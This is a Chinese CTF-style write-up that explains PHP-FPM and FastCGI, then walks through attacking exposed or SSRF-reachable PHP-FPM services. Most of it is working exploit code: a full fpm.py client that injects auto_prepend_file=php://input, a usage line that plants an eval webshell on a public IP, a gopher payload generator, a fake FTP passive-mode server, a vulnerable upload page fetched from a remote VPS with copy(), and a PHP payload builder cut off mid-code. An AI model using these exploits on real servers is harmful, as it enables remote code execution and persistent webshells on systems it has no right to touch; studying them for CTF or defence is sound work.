前言
做完蓝帽杯One Pointer PHP这题,顺带把之前看的零零碎碎的知识点、概念和打法都复习总结一遍。
理清PHP-FPM
关于php-fpm,脑子里又会冒出FastCGI、CGI、Unix套接字…等相关的概念,这些东西还是要理清一下。
PHP的连接方式
在Web服务(容器)上的php,就相当于某个web服务的后端处理器,web服务接收的数据要经过php处理然后返回给web服务,最后显示在客户端。
apache2-module
php相当于apache的一个扩展或者模块,在phpstudy中的nts模式便是apache2-module方式连接的
CGI 模式
全称是“通用网关接口”,WEB 服务器与PHP应用进行“交谈”的一种协议。此时php独占一个进程,如php-cgi.exe。web服务器也是一个独立的进程如apache.exe。CGI模式下,WEB服务器会将客户端请求的URL、查询字符串、POST数据、HTTP header等数据封装成php-cgi能读懂的数据流,通过cgi协议进行将数据流发送给php-cgi进程,然后由php-cgi解析处理并再通过cgi协议将处理后的数据返回给web服务器最后返回给客户端。优点是实现了动态的页面,但是也有缺点
FastCGI 模式
因此,FastCGI就诞生了。FastCGI也是一种协议,是对CGI的一种优化。上面所说的每一次请求就进行一次php-cgi的建立和销毁,这里FastCGI只会在进程启动时发生一次。为什么呢?其核心原理是FastCGI规定了一种调度php-cgi的方式并对多个子php-cgi进行管理
而FastCGI只是一种模式,真正实现这种模式而作为php-cgi进程管理器的就是php-fpm。除了一次性加载的高效性之外,FastCGI还实现了其管理的功能,如内存管理、垃圾处理等功能。为了更好的提高性能,CGI和FastCGI的php应用都是依赖Nginx作为服务器的
以上三种连接模式,我们都可以在phpinfo的Server API字段中判断出来,这对于我们做题时定位php-fpm服务还是很重要的
PHP-FPM
什么是php-fpm
说完了FastCGI,接下来说一下FastCGI的实现者php-fpm。fastcgi是一个协议,这个协议的实现者,充当CGI进程管理器角色的就是php-fpm。下面是一个通信流程,图片摘自https://xz.aliyun.com/t/5598#toc-2
重点关注一下Nginx和FPM的通信。在P师傅讲php-fpm的文章中,说到了Nginx和php-fpm的通信,具体如下:
Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给谁?其实就是传给 FPM。
FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果 web 目录是/var/www/html,那么 Nginx 会将这个请求变成如下 key-value 对:
{ ‘GATEWAY_INTERFACE’: ‘FastCGI/1.0’, ‘REQUEST_METHOD’: ‘GET’, ‘SCRIPT_FILENAME’: ‘/var/www/html/index.php’, ‘SCRIPT_NAME’: ‘/index.php’, ‘QUERY_STRING’: ‘?a=1&b=2’, ‘REQUEST_URI’: ‘/index.php?a=1&b=2’, ‘DOCUMENT_ROOT’: ‘/var/www/html’, ‘SERVER_SOFTWARE’: ‘php/fcgiclient’, ‘REMOTE_ADDR’: ‘127.0.0.1’, ‘REMOTE_PORT’: ‘12345’, ‘SERVER_ADDR’: ‘127.0.0.1’, ‘SERVER_PORT’: ‘80’, ‘SERVER_NAME’: “localhost”, ‘SERVER_PROTOCOL’: ‘HTTP/1.1’ }
这个数组其实就是 PHP 中$_SERVER数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。
PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的 PHP 文件,也就是/var/www/html/index.php。
我们来解析一下完整的流程:用户从浏览器访问一个URL到接收数据渲染网页
1 2 3 4 5 6 7
| 1.访问www.diggid.com 2.通过Nginx路由到www.diggid.com/index.php 3.Nginx加载FastCGI模块,并将用户请求的数据封装成FastCGI协议的模样 4.PHP-FPM监听127.0.0.1:9000,Nginx发送数据(TCP或Unix),FPM接收 5.FPM处理数据,找到相应的index.php文件,执行 6.FPM处理完毕后,返回给Nginx 7.Nginx通过http返回结果给用户浏览器渲染
|
php-fpm的两种模式
这里两种模式的划分依据是Nginx和FPM的通信方式,理解好这一点,能够好的php-fpm未授权访问攻击和FTP+SSRF打php-fpm的区别
1.TCP模式
TCP模式和其他常见的服务监听端口的方式一样,PHP-FPM启动时监听默认9000端口,然后Nginx通过TCP管道的方式将Fastcgi协议封装的数据流发送给FPM。
2.Unix模式
而Unix模式的实现主要是通过相应的.sock
文件。它是 unix 系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为 socket 的唯一标识(描述符),需要通信的两个进程引用同一个 socket 描述符文件就可以建立通道进行通信了。也就是说Unix是同一系统的进程间通过对同一个Socket文件进行读写来传递数据。这里不存在监听某个端口一说
unix指定的.sock文件通常是(有时候也可以在其他目录下提供,视情况而定):
1
| /run/php/php7.3-fpm.sock
|
3.两者异同
关键的两个配置文件
配置上述两种模式及其修改其监听的默认端口,需要通过以下配置文件
- /etc/nginx/sites-enabled/default
1 2 3 4 5 6 7 8
| location ~ \.php$ { index index.php index.html index.htm; include /etc/nginx/fastcgi_params; fastcgi_pass 127.0.0.1:9000; //fastcgi_pass unix:/run/php/php7.3-fpm.sock 注意php版本 fastcgi_index index.php; include fastcgi_params; }
|
1 2
| listen = 127.0.0.1:9000 listen = /run/php/php7.3-fpm.sock
|
如何安装php-fpm
具体的安装过程这里就不详述了,可以参考
https://xz.aliyun.com/t/5598#toc-2
https://forum.90sec.com/t/topic/129
PHP-FPM 未授权访问攻击原理
了解了PHP-FPM是什么以及其通信的整个流程之后,接下来讲下几种攻击php-fpm的方式。
漏洞成因
缺乏安全性验证
为什么将该攻击归为未授权访问攻击,说白了,其和其他未授权访问攻击都有相似之处:可以通过内网/外网访问;服务本身没有安全性验证或者配置错误导致缺乏安全性验证。这里其实是PHP-FPM设计的一个缺陷,其没有对Nginx这一通信对象进行身份/安全性验证,从而可以伪造Nginx的作用向PHP-FPM发送伪造的FastCGI协议包,从而欺骗PHP-FPM执行一些危险操作(RCE)、修改配置(bypass open_basedir)
security.limit_extensions
配置
如果有了解过该攻击的就会知道,我们必须要知道一个php文件的绝对路径才能实现攻击。而这一配置就是来解释为什么的。前面我们说过了,PHP-FPM会根据解析FastCGI协议包中的SCRIPT_FILENAME的值去寻找指定的文件进行解析处理,在php某个版本之前,该文件可以是任意后缀的,如/etc/passwd
,但是后来,fpm的默认配置中增加了一个选项security.limit_extensions
,这是一个白名单配置,默认仅有php后缀的文件满足,所以我们需要找到一个已知其绝对路径的php文件才能完成利用
漏洞条件 & 危害
漏洞危害包括:
- 任意代码执行
- 可覆盖除了disable_functions以外的所有php.ini中的配置项(可以打一个phpinfo() + 覆盖disbale_functions为空来验证)
仅仅通过修改FastCGI数据包,怎么达到上面两种效果呢?继续往下看
auto_prepend_file
php.ini中的配置项,告诉php,在执行目标文件之前,先执行该配置项指定的文件。最重要的是,该选项可以使用伪协议,那么攻击面就很大了,因此我们可以利用php://input
来执行任意php代码
allow_url_include
要想使用php://input,那么必须开启此配置项,就不用多说了。以上两个配置项可以通过PHP-FPM的两个环境变量去修改:
- PHP_VALUE:可以设置模式为
PHP_INI_USER
和PHP_INI_ALL
的选项
- PHP_ADMIN_VALUE:可以设置所有选项。(
disable_functions
除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
文件名
如果php-fpm解析到不存在的文件或者文件名后缀不是在security.limit_extensions选项中的文件,就会报错。因此我们找一下linux中可能存在的.php的文件,但是大部分情况下都是已经的在服务目录下的php文件
PHP-FPM 打法
从外网打
该攻击是基于PHP-FPM是TCP模式时,并且由于以下原因导致php-fpm暴露在公网
首先是php-fpm的配置不当,原本在内网和Nginx通信就可以满足,却图方便错写了一个配置,在上面说到的两个配置文件中,把127.0.0.1
改写为0.0.0.0
,这样我们就可以通过外网访问PHP-FPM了。关于127.0.0.1和0.0.0.0的区别,可以移步这篇文章
最常见的就是直接拿大名鼎鼎的fpm.py脚本去打了,这种方式是通过模拟Nginx将伪造的FastCGI协议包发送给PHP-FPM,因此我们需要直接与PHP-FPM通信,因此是基于TCP模式下的通信,所以该种方法要求php-fpm暴露在公网。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251
| import socket import random import argparse import sys from io import BytesIO
PY2 = True if sys.version_info.major == 2 else False
def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])
def bord(c): if isinstance(c, int): return c else: return ord(c)
def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')
def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s
class FastCGIClient: """A Fast-CGI Client for Python"""
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict()
def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf
def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value
def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header
def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record
def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return
requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf
data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response']
def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))
|
用法也很简单
1
| python2/3 fpm.py -p [port] [host] [filename] -c [command]
|
如:
1
| python3 fpm.py -p 9001 101.132.12.17 /var/www/html/index.php "<?php file_put_contents('shell.php','<?php @eval(\$_POST[diggid]);?>');?>"
|
从内网打
SSRF + Gopher
这个就很常见了,直接Gopher一梭子,大部分情况下是存在一个SSRF漏洞的页面,然后利用gopher协议并进行二次URL编码打出去就好了。获取TCP流的办法有以下几种
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256
| import socket import base64 import random import argparse import sys from io import BytesIO import urllib
PY2 = True if sys.version_info.major == 2 else False
def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])
def bord(c): if isinstance(c, int): return c else: return ord(c)
def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')
def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s
class FastCGIClient: """A Fast-CGI Client for Python"""
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict()
def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf
def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value
def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header
def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record
def request(self, nameValuePairs={}, post=''):
requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) return request
def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf
data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response']
def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default=' ') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) response = urllib.quote(response) print("gopher://127.0.0.1:" + str(args.port) + "/_" + response)
|
- 利用nc监听本地一个端口,然后payload打到本地的这个端口上即可
1 2
| nc -lvvp 9999 python2 fpm.py -p 9999 127.0.0.1 filename -c command
|
1 2
| python2 gopherus.py --exploit fastcgi 然后输入文件名和命令(注意这里只能执行生成执行命令的,需要修改一下源码)
|
SSRF + FTP
这一方式是通过file_put_contents
这一函数配合伪协议ftp://
,然后伪造FTP passive mode模式客户端来打的。关于FTP passive mode的利用原理,可以参考这篇文章,这里一句话总结一下就是,通过伪造FTP的被动模式(passive mode,服务端被动),恶意的FTP客户端主动与服务端通信,并向服务端提供伪造的另一地址和端口,致使FTP服务端和另一地址的端口进行连接,从而进行数据传输。上述过程我们可以通过模拟FTP协议的数据包来实现。所以我们要向将前面我们得到的FastCGI payload打到PHP-FPM上,可以通过ftp://协议来帮我们打过去。
1.模拟ftp的服务
ftp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 7777)) s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n')
conn.send(b'331 Please specify the password.\n')
conn.send(b'230 Login successful.\n')
conn.send(b'200 Switching to Binary mode.\n')
conn.send(b'550 Could not get the file size.\n')
conn.send(b'150 ok\n')
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') conn.send(b'150 Permission denied.\n')
conn.send(b'221 Goodbye.\n') conn.close()
|
2.准备一个存在漏洞的页面
可能是别人准备好的,或者我们通过一些条件可以传上去的,内容如下:
file.php
1 2 3 4 5
| <?php $file = $_GET['file']; $data = $_GET['data']; var_dump(file_put_contents($file, $data));
|
可以使用php的copy函数传上去
1
| copy("http://vps/file.php","/var/www/html/file.php");
|
3.准备一个pwn.php生成fastcgi payload
这里额外提供一个php版的打fastcgi的payload,执行一下这个文件就可以得到data的payload,注意代码中PHP_VALUE
和PHP_ADMIN_VALUE
的配置项。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352
| <?php
class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8;
private $_sock = null;
private $_host = null;
private $_port = null;
private $_keepAlive = false;
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; }
public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } }
public function getKeepAlive() { return $this->_keepAlive; }
private function connect() { if (!$this->_sock) { $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } }
private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . chr(($clen >> 8 ) & 0xFF) . chr($clen & 0xFF) . chr(0) . chr(0) . $content; }
private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } return $nvpair . $name . $value; }
private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; }
private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; }
private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } }
